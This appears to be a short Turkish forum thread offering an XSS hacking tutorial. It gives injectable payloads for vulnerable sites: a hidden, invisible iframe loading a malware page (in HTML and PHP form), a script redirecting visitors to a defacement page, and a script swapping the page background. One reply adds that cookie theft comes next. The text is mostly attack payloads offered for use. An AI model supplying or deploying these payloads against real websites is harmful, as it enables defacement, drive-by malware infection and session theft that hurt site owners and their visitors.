XSS açığı ile site nasıl hacklenir

iFrame İnjection
1-Savunmasız web sitesi bul.
2-Kötü niyetli iframe kodunuzu ekleyin.
<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>
PHP:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

PasteHTML Methodu
1-Savunmasız xss açıklı bir site bulun.
2-HTML kodunuzu ekleyin.
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

Açıklı Web Sitesine resim eklemek
<script>document.body.background="http://your_image.jpg";</script>

 

Yalnız XSS ile bu şekilde hacklenmez.Bu şekilde açık tespiti yaparsın. Sonra cookieleri çekmeye çalışırsın

 

teşekkürler

 

bklm

 

Xss açıgı neden bana lamerllık gibi gelıyor

 

bakak